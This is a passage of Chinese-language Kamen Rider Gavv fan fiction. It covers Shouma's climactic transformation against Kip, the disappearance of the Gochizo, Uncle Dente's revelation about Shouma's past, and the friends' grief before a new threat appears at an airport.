掌心中的蛋糕王饱藏也逐渐产生异动,他下意识握住,死死握住,近乎哀求地将其贴在自己的心口。
空罐一点点被填满,从地上竖立起来,漂浮向空中,散发出柔和纯净的淡紫色光芒,周围的空气一阵起伏,如同汹涌的潮水稳定而庄严地向外围急速扩散。
不够。
白巧与黑巧饱藏从呆滞的绊斗身上蹦了出来,咿咿呀呀了一阵后化为黑白双色的流星同样朝糖果罐飞去。
还是不够。
整座城市无人的角落,树桩蛋糕饱藏,曲奇饱藏,果冻饱藏......几十道光柱冲天而起,跨越几十公里的距离向主人的方向汇聚而来。
彻底跟丢了糖果罐的幸果与拉齐亚同时抬头望向这不可思议的一幕,双双锁定了不远处的废弃工厂。
近百只饱藏前仆后继地投入罐中,糖果罐的力量猛然增强,吉普心道不好,然而红腹口被完全笼罩在这异象之中,让他根本无法接近!
近几十秒后,异动终于缓缓停滞下来,糖果罐依然悬浮在半空之中,散发着温柔的淡紫色,只是原本透明泛紫的瓶身已多出数道七彩的光影,生真知道,这是饱藏们的色彩,是洋溢着幸福的小精灵们的童话色彩。
那满溢着甜蜜的糖果罐静静悬浮着,似乎在等待井上生真做出抉择。
“太过分了。”
沾染了尘土的指尖在水泥地上留下几道深深的血痕,生真闭上眼睛费力喘息了一阵,而后贴着身后的冰凉金属一点点站起身。
“如果是这样的话......不战斗到底,不就辜负你们的牺牲了吗?”
“太过分了。”
他低着头,刘海遮挡住瞳孔,再次重复了一遍。
糖果罐爆发出刺眼的光芒,在空中绕了一圈,而后猛地朝生真飞去。
巨大的冲击力让他几乎后退了半分,但右手却依然稳稳接住了沉甸甸的罐身,就像他曾经无数次地接住哭到倒抽气的小饱藏,从未失手。
撩开腹口的半机械嘴唇,糖果罐被腹口完全衔住,严丝合缝。
[超越]
糖果罐发出一声如同饱藏语却又模糊难辨的音调,但生真听懂了。
他沉着地呼出一口气,握住机械把手,平稳而坚定地缓缓转动。
糖果罐的能量被压缩,释放,上百粒的七彩光点从瓶口中倾泻而出,亲昵地漂浮着贴向生真。
透过层层叠叠的光点,他盯向对面的吉普,乌黑圆润的瞳孔中泛起同样的紫色。
“变身!”
[超越能量]
它们异口同声地绕着生真旋转起来,稚气的嗓音带着一往无前的气势,越转越快,几乎形成了一道七彩的旋风,而后猛地黏附上生真的皮肤,流淌,融合,如同灼热的金色糖浆。
奇异而温暖的力量如同一双大手温柔地包裹住他的身心,伤口似乎失去了痛觉,因为战斗而透支的身体也被注入强而有力的能量。似乎感受到熟悉的,比平时更为甜蜜,更为强势的气息,杂乱的心跳逐渐稳定,而后如同迅速鼓胀的泡泡糖,一点一点填满胸腔。
这是幸福的力量。
那滚烫的糖浆将生真一寸寸包裹,凝固,最终化为一副庞大的金橙色铠甲。
由近百只饱藏幻化而成的金铠甲,名为“超越”。
吉普垂着脑袋,手指一点点收紧,锋利的外骨骼刺破皮肤又瞬间修复如初。
没有痛觉。
他抬起烘焙马格南,直指超越。
“砰砰砰!”
数道血红色的能量束毫不客气地直冲生真的面门,然而当攻击触及到目标的一瞬间,那散发着阵阵糖浆味道的外装甲却突然鼓胀膨大,如同一大颗Q弹滑软的果冻软糖,直接将能量束反弹出去,咻地一下击上十几米开外的满地钢材,发出剧烈炸响。
吉普愣了一下,不信邪地再次连续激发数枚能量束,却无一例外全部被弹开。
而对面的超越甚至一动未动。
就在这时,那庞大的金铠甲终于抬起布满粘稠糖浆的右脚向前踏出一步,沉重的声音如闷雷滚滚,水泥地面陡然一颤,裂纹如蛛网般迅速向外蔓延。
“砰砰砰!”
他再次踏出一步,地面扬起一阵烟尘,附近本就摇摇欲坠的钢材在强烈的震动下瞬间散架,发出尖锐刺耳的声音。
能量束的击发声逐渐连成一片。超越顶着更加密集,近乎疯狂的攻击,既不做反击,也不做格挡,就这么一步一步稳定地向前踏进,如同一个无畏的巨人。
地面的蛛网从远处向吉普蔓延而来,他似乎变得有些畏惧,微微向后挪了几步,又硬生生停下,抬起左手托住微微颤抖的马格南。
“西塔......”
救世主K死死盯着一步步靠近的超越,动作却缓慢下来,眼神失了焦距。
那股浓郁到窒息的甜蜜糖浆味铺天盖地地翻涌而来,无孔不入地钻入早已腐烂发臭的血肉,似乎想填补坍塌的孔隙,净化糜烂的灵魂。
只是黑腹口似乎不太适应如此浓郁的甜蜜气味,也可能是感受到了同出一源的力量威胁,开始更加疯狂地蠕动侵蚀,企图驱赶笼罩这具容器的强烈气息。
两股力量在身体之内无声交锋,在血脉经络中疯狂流窜,他却因此看到了西塔。
不再是回忆中越来越模糊不清的西塔,而是真切出现在自己眼前的,活生生的西塔,就在那股浓郁的糖浆里。
她穿着黑白双色的骑士服,长发半黑半白垂落在前胸,抱着双臂,高傲地扬着脑袋,却朝自己露出安心的笑容。
早已被侵蚀凋零的心脏滚过一阵暖流,他轻声笑了出来,眼角沁出一丝温热,只是血肉蠕动地愈发剧烈,尚未滚出眼眶便被瞬间吞噬殆尽。
“我果然......根本离不开你......”
救世主K僵硬在了原地,发出一声叹息,而后蓦然抬起头,对着超越笑了出来。那笑声逐渐变得尖锐,变得疯狂,属于自身的焦黑碎肉被不知从何而来的新生表皮所替代,在颤动之中啪嗒啪嗒往下落。
他没有再试图往后退,而是如同面前的超越一样,坚定地,缓慢地,一步一步向前靠近。
伴随着逐渐失控,近乎抽噎的笑声,烘焙马格南的正前方再次凝聚出巨大的血红色光圈,比之前更甚。救世主K装甲飘出一阵几乎凝成实质的腐烂恶臭,繁复的花纹随着颤动的背脊疯狂闪烁,朝着枪口迅速凝为一点。
而对方显然也接收到了信号,握住腹口上的机械把手悄然转动了一圈,裹满浆液的巨拳悬浮起浓烈的金橙色烟雾,那烟雾愈凝愈实,最后竟如同一轮金色日冕。
愈发厚重沉闷的空气让绊斗顿觉不妙,尽管已经退至百米开外,耳中极度危险的嗡鸣声依然不见消减,这种仿
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佛置身深海的恐怖压强,若是再待下去,恐怕就算再次变身为假面骑士也会遭受难以承受的伤害。
他识趣地远离战场,刚退至野树林,沉闷的轰隆声便在耳边陡然炸响!
冲击波扫过整座废弃工厂,车床、集装箱、钢铁建筑、砖石墙壁,目之所及的一切全都在一瞬间被笼罩在金色近白的日冕之中,轰然开裂,滚烫的气流卷着大量钢铁残骸,如同流弹极速朝周边四射而去!
“啊——”
绊斗心头一紧,紧急望过去,幸果竟不知何时出现在了这里,正惊恐地抱头躲避!
“社长!别过来!”
绊斗下意识飞扑过去,紧紧抱住幸果,滚烫的气流将两人抛飞,翻滚过好几圈才勉强停住。耳边传来弹片擦过地面,打碎枝干的声音,树叶在狂风中簌簌作响,纤维撕裂,树木轰然倒塌。
“咳咳咳......咳咳......”四处尘土飞扬,等待了近十几秒,感受到动静缓缓平息,两人穿着粗气双双抬起头,没有了砖石与废弃钢铁的阻隔,整个战场一览无遗。
绊斗能感受到这突然出现的糖果罐的力量。上百只饱藏为了守护它们的主人牺牲自我凝聚而成的力量,蕴藏着难以言喻的浓郁幸福感,哪怕只是余波也能感受到那股沁人心脾的甜蜜气味,只是没有想到仅仅一击,救世主K似乎就完全失去了反抗余地。
黑白焦褐的装甲几乎已完全脱落,吉普的人皮小偶掉落于地,彰显出砂糖人原本的外貌,与西塔一模一样的魔狼形态,瞳孔泛着浅浅的白光,只是不再那么生机,那么夺目。
吉普的脸上,脖子上,四肢,躯干,连接着的血肉全部迅速变成不太新鲜的红褐色,收缩,干枯,裂成细小的碎肉,挂在砂糖人的骨骼上摇摇欲坠。
他死死抓着生真,脸上却仍带着略显疯狂的笑意——如果还能称之为脸的话,他将脸凑到生真的面前,似乎说了些什么,唇瓣一张一合之中,腐烂的肉块簌簌掉落,那本就岌岌可危的躯体如同散了架的积木,一瞬间便彻底没了声息。
黑腹口没了容器支撑,啪嗒一下掉落在成堆的肉块与白骨之中,如同一个死物。
“生真!”
生真身上那副金色装甲再次化为粘稠的金色糖浆,缓缓融化进空气之中,暴露出那套糖果色的衣裳。
他低着头静静站立在原地,手中仍紧紧握着纯白的蛋糕王,似乎完全没有听见绊斗的呼唤。
他刚划过一丝疑惑,一粒紫色的微光却在下一秒闯入了他的视野。
是糖果罐。
这个泛着奇异光泽的糖果罐依然被腹口稳稳衔着,然而那由近百只饱藏凝聚而成,满溢着幸福的七彩光束却开始从罐口一点点散溢出来。红色,紫色,橙色,绿色,数不清的细小微光从生真的腰侧往上飘,经过胸口,贴上沾染了血液与尘土的外衣,蹭过他的面孔,越过发丝,越飘越快,越来越远,带着永恒的甜蜜与美好祝愿,化为漫天七彩星光,逐渐消散于遥远的天际。
“好像......金平糖......”
意识到这些全部都是饱藏,幸果张了张嘴,心里没来由地升起一丝酸涩。
当最后一点星光彻底离开糖果罐,强大的武器失去光泽,再次变回死物的那一刻,生真的身影陡然摇晃了一下,再也支撑不住,脱力跪倒在地。
蛋糕王饱藏被摔了出去,安静地从地上爬起来,努力把小小的身躯重新塞回主人的掌心。
或许从一开始就不应该去查井上美知留......
绊斗收回视线,压下心中的酸楚,走至生真的面前,轻轻搂住冰凉僵硬的身躯。铁锈味与尘土味混杂在一起充斥了他的鼻腔,可是那股温柔甜蜜的糖果香却如同生真灿烂的笑容一样愈难寻觅。
“饱藏们还会回来的,不要难过......”
......
“嗯。”
不知道过了多久,他终于听到对方轻声的回应,拂过脏兮兮的柔软发丝,感受到僵硬的身躯逐渐传来细细的颤栗,那颗纷乱的心脏总算安定了一些。
就在这时,一道黑色的长鞭突兀地从远处袭来,擦过绊斗的发丝,直接冲向掉落在肉块堆中,无人看管的黑腹口!
黑腹口被高高卷起,刚要往回缩,数道金色箭矢就从另一侧直击黑色长鞭!
千钧一发之际,绊斗迅速圈紧生真往侧边连连翻滚几圈,爆炸声轰地一下从脑后炸响,黑腹口被爆炸的余波轰飞,啪嗒一下滚落到不远处。
拉齐亚朝狼狈的两人看了一眼,收回武器,张开手掌往地上一按,数道晶蓝色的水母触须刺入水泥地面钻入地底,急速朝黑腹口的方向涌去。
救世主K绝不能再次落到尼耶鲁布手里!
靠近黑腹口的水泥地面猛然开裂,触手急速蔓延,瞬间缠上猎物。
拉齐亚还未来得及欣喜,下一秒,漆黑长鞭再次袭来,这武器上竟泛起莹莹绿光,直接绞上被触手层层包裹的黑腹口。
水母触须一碰上长鞭,便仿佛裹上烙铁一般发出呲啦的灼烧声,水润光滑的外表皮迅速干枯焦化,寸寸断裂,瞬间失去活力。
拉齐亚面色白了几分,主动切断触须,抬起眼眸看向对面的尼耶鲁布,对方刚巧收回黑腹口,朝自己扬了扬战利品,而后优雅地行了一礼,于深沉的烟雾之中迅速消失不见。
“没劲。”
行动彻底失败,拉齐亚啧了一声,看向面色惨白的生真,糖果罐空空如也,在刚才的剧烈动作中脱离腹口滚落一旁,他的心终于沉入了谷底。
21. 交汇的路口(1)
井上优坐在柜台里,手中握着一罐金平糖,彩色的星星糖果滚过透明玻璃瓶,只是声音不再清脆,似乎已有融化的迹象。
他不知道自己是怎么回来的。记忆一片空白,只是当再次睁开眼睛时,却发现自己依然站在老铺子的门口,鼻尖正传来一阵向阳花的清香。
他还依稀记得自己失去意识时的光景。视线是黑白的,全身骨骼爆裂般的剧痛,听觉却在无限拉长,变得格外清晰。
美知留死亡的时候,会不会听到井上生真的声音?是恐惧,是担忧,是愤恨,还是如自己一样,相当平静。
他抬起手,全身上下毫发无伤,没有和美知留一样被做成黑暗零食,连剧痛都似乎成了错觉。
不过他大概也能猜到一些真相。吉普抓住自己的目的无非是引诱井上生真上钩,而自己能好端端地站在这里,必然是他把自己从吉普手里抢回来的。
只是那个时候夜色渐沉,当自己下意识环顾一圈时,除了一个拐进巷子中的女孩子,周围连个人影都没有。
想来也知道,他肯定不会来见自己的。
手中的金平糖翻滚着,发出黏糊糊的音调。
室内的光线不太好,这几天的天气都相当阴沉,似乎已经开始飘细细密密的雨丝,过不了今晚必然会有一场大暴雨,如果糖果再不处理的话,恐怕就要在高温与潮湿之下彻底报废了。
他叹了口气站起身,决定翻找更合适的储存容器。
窗口的风铃被雨丝打过,发出清脆的声音,他下意识以为有客人来了,直起腰往外望,没见到预想中的客人,却在花园的入口处看到了一个人,一个眼熟的人。
是那天晚上匆匆一瞥的女孩子。
那女孩撑着一把明艳漂亮的雨伞,静静站在花园旁朝这边望,不知道已经站了多久。
他隔着推开的窗户,风铃遮挡在两人中间,当视线与女孩子相交的那一刻,他突然有所预感,明白这位年轻的少女是为何而来。
她是欢乐游行的老板,为井上生真而来。
“请用。”
女孩儿接过热茶,捧在手心握了一阵去去潮气,视线扫过小小的零食店,古旧传统的日式装修,色彩绚烂却不算时尚流行的小零食,以及似乎是出自小朋友之手的童趣装饰,相当多,总算把这里装点得年轻而可爱。
想来让他接受自己的妹妹被一个从未听过的异世界怪物所杀害都需要一定的时间,更何况是美味生的存在。
视线转过一圈,最后落在了柜台上——那里放着一罐金平糖,似乎被把玩了很久。
“那个糖果......是孩子们在欢乐游行做的。他们说想将甜蜜与祝愿送给最喜欢的店长先生。”
她小心翼翼地先一步开了口。“现在似乎快要化掉了。”
那天晚上美味生坚持要亲眼看见井上先生完好无损地回到这里,只是临近解除压缩状态时又犹豫着递还给了绊迪,他笑着,面容在无光的巷子里晦暗不明,“我没有力气了,还是你来吧。”
她知道自己应该做点什么,尤其是当她亲眼看见井上先生时,就觉得事情也许还没有那么糟糕。只是当自己真的站在了井上先生面前,却又发现很多时候,语言都是相当贫瘠的。
她见井上优弯腰从柜子中掏出一个透明的密封罐,在手中掂量了一下后摆到柜台上,与金平糖放在了一起。
“这段时间发生了太多事,一直没来得及处理。毕竟是孩子们亲手制作的礼物,如果不好好珍藏的话岂不是辜负了他们的心意。”
井上先生说这话时眼中流露出了不太能够察觉的温柔笑意,幸果看向那个小罐子,剔透明亮的小玻璃瓶,和登特叔公制作的糖果罐差不多大,摆下这些金平糖绰绰有余。
“那我来帮您!”
她从椅子上站起来,杯子被重重搁在桌子上。
十几罐金平糖被齐齐摆在柜台上,竟让幸果一时恍惚,似乎再次闻到了甜蜜的糖果香,感受到了伴着春风的灼热气温,以及孩子们纯真与幸福的笑容。
“粉色是草莓味,我做的。蓝色是汽水味,凉太做的。红色是莓果味,小亚树做的......”
幸果指着糖果一罐一罐介绍过去,指到紫色的糖果时,她卡壳了一瞬,抿了抿嘴,轻声道:“葡萄味,生真做的。”
正准备介绍下一罐时,她听到了井上优的声音:“你来找我就是为了他吧。”
“他......现在怎么样了?”
淅淅沥沥的雨丝吹进山洞之中带来黏腻的潮意,登特叔公站在洞口,将透白泛紫的空罐子对准光线更强的树林,五官皱成了一团。
“百饱瓶里的饱藏全部消失了?”糖果罐中空空如也,与离开自己时毫无区别,叔公狐疑地看了一眼拉齐亚,眼中却不见一丝焦急,反倒流露出几分兴奋。
这个武器的设计之初,就是集结一百只饱藏的力量,通过它的转化将其统一释放出来,化为能够掌控所有饱藏能力的主宰软糖,所以他给这个武器命名为百饱瓶。集结的饱藏等同于被百饱瓶永久封印,虽然不太对得起孩子们,但这是他能想出来最好的办法了。
只是如今的状况却远远超出了他的设想。
“你的意思是说,这个武器原本是不会献祭饱藏的吗?”
登特叔公点点头略作回应,将百饱瓶带进工作台里,掏出工具箱埋头检查。“你所说的金橙色的超越软糖,以及会散发浓郁幸福感的净化能力,我从来都没有设计过,也绝对设计不出来。”
“不过......”他顿了顿,抬起头,兴奋的笑意直达眼底,“这不就是我们的目的吗?”
“什么意思?!”
拉齐亚一下子从沙发上站起来,却又突然想起了什么,呢喃道:“你之前嘱咐我不要动手......”
对方好像什么都没听见,头也不抬地摆弄着百饱瓶。
......被利用了吗?
为了将生真压迫到极端的境地......为了强压之下的爆发......
可是饱藏消失了......拉齐亚僵在原地,这家伙似乎隐瞒了不少东西,他抬眼看向鲸鱼砂糖人,看着百饱瓶被拆解得支离破碎,又被按顺序一一复原。
“你都知道些什么?”
百饱瓶不出所料地检查不出任何问题,登特叔公将手中的工具一丢,站起来伸了个懒腰,朝拉齐亚望过去。
“小生真以前死过一次哦,就在我的手术台上。”
外面的风忽然大了起来,雨
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丝飘进洞穴,砸在拉齐亚的脸上,一片麻木的冰凉。
“什......什么?”
听到井上先生的提问,幸果勾着紫色丝带的指尖停顿了一下,她沉默片刻,收回手指,轻轻搭在柜台上。
“他前段时间遭遇了一些事情,现在状态很不好,被我禁止出门了。”
如果说几个月前的那次她还能确定只要美味生能与绊迪解开心结就能彻底好转,那这次她也快陷入迷茫了。
“是因为网络上的流言?还是那个叫吉普的砂糖人?”
“您都看到了!网上的那些言论......”幸果的声音小了下去,误会,争论,攻击,网上的热度迟迟下不去,被看到也是理所当然的。
她不奢求澄清,网络世界本来就是真真假假,只要美味生等得起,时间一过,依然会回到原本的样子,但是......
只有面前的这位先生......
“在您眼里,井上生真是什么样的人?”
她不甘心止步于此。
“......我不知道。”
是人类,还是砂糖人,井上优感觉不出来。或许连井上生真自己都想不清楚,又指望他做出什么回答呢?
“网络上疯传的那个家伙,您觉得是井上生真吗?”
那个黑色的怪物吗?
金平糖在眼前晃荡,绚丽的,多彩的,是童话色。井上优不知道该怎么回答了。
“太好了,至少您还在犹豫。”幸果的脸上竟扬起一丝笑意,只是很快又淡了下去。
“那个人不是生真。之前有人利用生真复制出来了一群克隆人企图针对我的一个朋友,虽然后来解决掉了,但那个时候他就已经因此遭受了一些攻击,只是范围不算大,也没有引起太多的关注。我们也确实没想到几个月前的事情会被重新翻出来,让他遭受无妄之灾。”
“我知道这确实很难让人相信,但他从来没有做过任何伤害人类的事情,只有这一点,请您一定要相信我!”
幸果激动地朝井上优靠近,这让他清晰地看见了她的眼睛,那双温柔明亮的眼眸中是对井上生真毫无保留的信任,而这一份信任似乎比任何的解释都来得更加有力。
“我以为你是来劝我接受他的。”
意识到太过逾距,幸果摇了摇头,往后退了一步,捧起紫色金平糖一点点送进密封罐里。
“毕竟您与他之间还有一些更为复杂的过去,这与网络上的谣言不一样,它无关对错,也不是我能够插手的,只取决于您自己的心。所以无论您最后是否愿意接受他,我相信他都能理解。”
说话间,彩色的糖果将罐子一点点填满,留下十几罐空荡荡的玻璃瓶和一罐沉甸甸的密封罐,彩色的星星糖全部混杂在一起,将透明罐子映出七彩的光芒。
如同那天泛着虹光的糖果罐。
“但是,我希望您的选择是基于您已经彻底了解他,并且没有任何误会的情况下做出的。我今天来到这里,并不是为了逼迫您立刻接受他的存在,而是希望您能给他一点时间,一点让您真正了解他的时间。”
“我相信,井上生真究竟是个什么样的人,他一定会亲自证明给您看!我也同样相信,您的等待一定有价值!”
22. 交汇的路口(2)
“你是说......当年的腹口改造手术?”
“是啊,毕竟他的腹口是我改造的嘛!”
叔公随意瘫倒在沙发上,略微斟酌了一下用词,缓缓开口道:“在那个时候腹口改造手术本就是极不成熟也极其危险的手术,更何况对象是年纪尚小的混血种,所以在经历无数台失败的手术之后,他最终死在了手术台上。”
“我当场写下了尸检报告,却没想到被我判定为失败的红腹口居然离奇地开始散溢浓郁的甜味。这种沁人心脾的味道我从来没有闻到过,但我知道是甜的,它来自人类的血液,就像黑暗零食一样让人上瘾。”
不知道是因为有趣的实验结果,还是因为那股味道,叔公的表情愈发享受起来,这很难不让拉齐亚回想起他第一次见到这位斯托马克时,他那副对“黑暗零食发明者”的身份沾沾自喜的模样。
他握紧拳头,冷声道:“然后呢?”
“随着味道愈发浓郁,充斥了整个实验室,小生真就在这股近乎实质的气味之中重新睁开了眼睛。不过似乎是因为这次的意外,他的记忆受到了一些损伤,后来居然连我都认不出来了。”
叔公略显遗憾地耸了耸肩,对拉齐亚不加掩饰的恼怒毫不在意。
“那他知道这回事吗?”
“怎么可能。”登特叔公摇了摇头,“那时候他才六岁。更何况这种事还是不要让他知道的比较好。”
“就是因为那一次,我开始对人类产生好奇,对这股甜香产生好奇,于是在一切准备妥当之后就毅然离开公司,藏进了人类世界。而直到品尝到人类零食的时候,我才明白那股味道究竟是什么。”
“是葡萄软糖的糖果香,也是藏在人类血液与基因中的幸福的味道。”
“这味道难道不是来源于饱藏吗?”拉齐亚眉头微皱,他一直以为那股味道是井上生真来到人类世界,开始与饱藏建立联系之后才出现的味道,但如今看来完全不是这样。
“这气味确实属于饱藏,但你忘记了很重要的一点,拉齐昂。”登特叔公虚空点了点拉齐亚的脑袋,笑道:“饱藏本身就是生真的眷属啊,是他的分身,是从他的腹口,他的幸福之中诞生的生命。哪怕就连他自己也把它们当成独立的个体,也无法否认它们本就是生真的一部分。”
原来如此......
所以登特叔公才那么笃定生真必然会获得新的力量,因为它本就沉睡在那具身体里。
如果那股葡萄软糖的香味是生真复活的关键的话,也就解释了为什么每次他无法孕育饱藏时都会陷入极度虚弱的状态。
但是如今意外频发,不仅没有成功诞生主宰软糖,甚至还因为超越软糖的原因直接导致几乎所有饱藏的消失。
更何况现在那股味道消散得比自己想象中更快,已经快要闻不到了......
“没劲。”
他侧过头,沉默了好几秒,轻声道:“我不想再继续下去了。”
“救世主K不是一定要靠生真的力量才能打败的。”
拉齐亚大步走到工作台前,一把捞起百饱瓶,糖果罐在阴沉沉的山洞之中泛起微弱的紫色流光,将水母砂糖人冷硬的面容衬得生动了一些。
“如果这股力量的出现必须要让他陷入如此凶险的境地,我宁愿它从来都不曾被拥有过!”
叔公常年露着慈祥笑容的面孔终于拧起眉头,“你不相信他?”
“你也搞错了一点,叔公。”拉齐亚学着刚才叔公的样子同样朝虚空之中点了一下,“这与相不相信他无关,我只是不忍心看他那么痛苦,也做不到继续袖手旁观。”
“你......”
“这同样与我是否越界,是否把他当成弟弟无关!”拉齐亚打断了叔公的话,“不管他是科梅尔,还是生真,又或是幸果社长和绊斗,无论是谁,我都不可能明知前路危险重重依然放任他独自前行!”
“更何况他现在不是被斯托马克家族囚禁的红腹口,他有伙伴,有战友,有全心全意相信他的人,所有人都在为此而努力,他早就不是一个人在战斗了!”
“你知道他现在的状态有多糟糕吗?你当然不知道,你躲在这里,与世隔绝,不知道因为什么莫名其妙的理由不愿意去欢乐游行,让所有人都担心你,这很有意思吗?你在决定利用我的时候,又有考虑过后果吗?还是又想把他当成红腹口,当成你的实验品!”
他似乎把一整年的话语全都一口气宣泄了出来,紧抿着嘴唇怒视面前的长辈。
“你们斯托马克家族,全都一样残忍。”
登特叔公静静注视着这个曾经总是远远站在那几个孩子身后,抱臂旁观一切的水母砂糖人,明明自称不喜欢人类世界,如今却早就把自己当成了欢乐游行的一份子。
他摇了摇头,轻笑一声道:“拉齐昂,你真的改变了很多,以前明明那么一副冷漠无情的模样~”
拉齐亚侧过脑袋似显恼怒,过了一会儿,他轻声道:“我不觉得你的方法是对的。”
“靠强迫和压力获得的超越软糖只是昙花一现,我同样相信这种方法再继续下去也绝不可能达到你想要的结果,只会让他崩溃地更加迅猛。”
拉齐亚背对叔公,看着山洞外的小树林,他想起很久之前生真站在那里,站在一片阳光之下,对他说“如果一个人做不到,那就我们一起。”
那个时候他真的感受到了伙伴的重量,感受到了救赎,感受到了力量,这种力量并非源自饱藏,却足够强大。
“你说过生真的力量来源于他自身的幸福与爱意,但如果连他自己都体会不到幸福,感受不到爱意,甚至连接受自身的存在都做不到,那一切都只是海市蜃楼,迟早会在消耗殆尽之后化为泡沫彻底消失。”
“饱藏的结局就是他的未来。”
时隔多日,井上生真再次拉开了零食柜的柜门。
自己已经很久没有买过零食了,然而里面依然是满满当当的彩色包装,想也知道是幸果小姐的手笔。
他从里面翻出一包软糖,拆开包装,葡萄软糖的甜香一下子扑面而来,似乎连闷堵了很久的胸腔都被这股浓郁的味道所包裹。
他记得很早之前一个大哥对他说过,零食就是在很开心,或者很难过的时候吃才会更有意义。只是他不知道自己现在算不算难过,也不知道如果吃零食另有目的,会不会失去品尝零食本身带来的乐趣。
但是他现在并不想考虑那么多,今天大家都不在,所以无论如何都要尝试一下。
他从里面捏起一颗透紫色的葡萄软糖,小小的软糖被轻巧地夹在指尖,是小熊的形状,软软弹弹,散发着阵阵果香。
生真不自觉地微眯眼睛,扬起嘴角,这是他品尝零食时下意识的表情——零食能带给他幸福,而他现在特别需要幸福。
犹豫了片刻,他缓缓将糖果凑到唇边,正准备咬下去时,一道雪白的身影从远处飞来,一下打落了他手中的糖果。
糖果香瞬间从身边抽离,刚得到一些缓解的心脏再次无休止地疯狂跳动,他看向沾染了尘土,再也无法入口的糖果,一股强烈的酸涩冲上鼻腔。他下意识蹭了下眼角,好在自己泪腺并不发达,连一点水汽都没有。
他微微蹙起眉头,不太满意地看向站在零食柜上的蛋糕王饱藏。
“叽!”蛋糕王饱藏毫不避讳地直视自己的主人。
“为什么?难道你不寂寞吗?”
“叽!”它摇了摇脑袋,眼里流露出不赞同的神色。
“我只是想试试还能不能孕育饱藏,你是我的眷属,不能像他们一样阻止我!”
蛋糕王不再说话,直接用身体撞飞了生真手中的软糖包装袋,不同口味的彩色软糖如同加布的血液一样四处飞溅,啪嗒啪嗒的声音与窗外细密的雨声混在一起,在空旷的欢乐游行里显得格外清晰。
空气静默了一阵,生真眨了眨眼,决定放弃和蛋糕王讲道理,转头又开始在柜子里摸索。
“生真!”
刚捞出一袋棉花糖,熟悉的声音就如同背后灵一般突兀响起。他吓得一哆嗦,手上没轻没重,糖果的包装袋被瞬间捏爆发出清晰的响声,这下连撒谎都不行了。
“抱歉。”他讪讪笑了一下,收回在柜子里作乱的手,不情不愿地关上柜门。
地上的糖果被绊斗一粒粒捡起,生真坐在沙发里,拥着冰淇淋抱枕,视线依然灼灼地盯着桌子上开了口的棉花糖,直到一道人影遮住了视线,将棉花糖隔绝在了遥远的另一侧。
绊斗习惯性地碰了一下生真的脸颊,不出所料的低热,自从饱藏们消失后就一直没好过。
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他蹲下身抬头看向生真,对方的视线跟随动作,一眨不眨地注视自己的眼睛。
“隔壁的几户邻居已经朝这边看了好几天了,反正最近应该不会有什么客人了,你要不要搬到我那里去,安全一点。”
“不要!”生真想也不想一口回绝了绊斗的提议,搂着抱枕蜷缩成一团,将脸埋进了柔软的棉花里,过了一会,绊斗听到了沉闷不清的声音。“我是不会离开的。”
“没人让你离开!”绊斗急切地站起身,还想再劝说几句,然而当看到用力到泛白的指尖,触碰到颤抖的背脊时,他似乎明白了生真这莫名的坚持。
不管是同族的承认,亲人的关心,还是安稳的幸福,生真的生命中很多东西都是要靠自己拼命抓住才能拥有的,不过大多数时候,即使努力也根本得不到想要的结果。如果失去了前进的勇气,那么死死抓住现有的东西就成了唯一的精神锚点,至少不会让自己退向万丈深渊。
简直是执拗又幼稚的反抗。
生真很少会像现在这样表现得像个任性的小孩,这让绊斗莫名地想笑,却发现自己根本笑不出来。
“没有人希望你离开。”他靠着生真坐下,鼻尖再次涌上一股难以言喻的酸涩。
长达许久的沉默,绊斗只能听见旁边不太平稳的呼吸和窗外细细的雨丝,他们两个几乎很少有这么安静的时刻,准确来说,只要生真和社长在这里,气氛永远都是充满甜味的幸福,然而现在的空气中除了潮湿的霉味什么都没有。
他侧头望过去,这个视角只能看见生真的背脊和黑棕色的卷发,他不喜欢现在这样,这让他产生了一种荒谬又可笑的错觉,觉得生真看起来像只被主人抛弃的可怜小狗,没有热情,没有快乐,也没有安全感。
似乎注意到背后灼热的视线,生真将脑袋从抱枕中转过来,“你来这里就是为了说这个的吗?”
飘散的思绪被声音拽了回来,妄想对象的苍白面容被抱枕压得泛了红,无辜的下垂眼被红痕衬出了一丝委屈的错觉。也或许不是错觉,总之更像一只小狗了。
绊斗竟觉得耳朵有点烧,急忙否认了一句“不是”,然后才后知后觉地理解生真在说什么。
他一定是疯了,不仅仅是生真,最近所有人似乎都不太正常。
见绊斗不说话,生真又把脑袋埋了回去,闷声道:“他们是不是救不回来了......”
“你已经做得够多了,生真。”前段时间斯托马克抓捕的人类总数可能都达到了上万,这对人类来说已经是巨大的灾难了,哪怕绊斗想要宽慰几句,说出的话语也显得那么无力,“至少他们已经很久没有出现了,不管是临时工还是眷属,全都销声匿迹快一个月了。”
“事情还远没有结束。”生真摇了摇头,从沙发上坐起来,脸上再次恢复了平常的神色。“失踪案的主导者不是吉普和尼耶鲁布,兰戈哥哥已经亲自下场,既然如此就绝不会止步于此。我需要饱藏,绊斗,我不能没有饱藏。”
“是那天吉普说的?他说什么了?”绊斗直接忽略了他的最后一句话。这段时间类似的请求越来越频繁,或许他真的该和社长商量没收这栋房子里所有的零食了。
生真不出意料地扭过头不再看他,双手揪着怀里的抱枕,一副你不同意我就不说的模样。
而后又是良久的沉默,绊斗耐心地等待,甚至有空发散思维,猜测这根本不会撒谎的半砂糖人是不是又在编纂漏洞百出的谎言。
“他说我早就该死了,说兰戈哥哥很快就会来找我,期待与我地狱相见。”
“不过是一些无聊的诅咒罢了,他就只会这个。”
生真无情地评价了一句。
或许是临死之人的诅咒实在太过真心,这个“很快”确实快得不可思议。当拉齐亚接到生真电话的时候,他依然在与登特叔公争锋相对,当然是他单方面的。
“拉齐亚!城东机场,兰戈的眷属出现了!”
“你不准去!”拉齐亚下意识就想阻止生真的行动,然而电话那头不出所料的一阵沉默,过了一会儿那边传来开门的声音与淅淅沥沥的雨声,紧接着,机车启动的轰鸣声在耳边炸响——这人根本什么都没听,只是来通知自己的。
他啧了一声,只好妥协道:“绊斗在旁边吗?别冲动,等我来找你!”
23. 枷锁(1)
好在比起处于市中心的欢乐游行,登特叔公的郊区反而离城东机场更近一点,当拉齐亚到达这里的时候那两个人还没来。
拉齐亚看着人来人往的大厅,眉头一点点皱起。
显然人类并没有意识到这里早已被砂糖人暗中侵入,依然井然有序地做着自己的事。
这也是必然的。即使有政府通知与网络舆论,该有的基本出行必然是无法减少的,而这种情况下,机场,学校,办公大楼之类的地方就是狩猎人类最好的选择。
拉齐亚被迫卡在安检口,难得对人类世界的规则产生了一丝恼怒,他向里张望了一下,幸果发来的视频应当是某架客机内部,现在还没被人类注意到,那一定是还未得手。
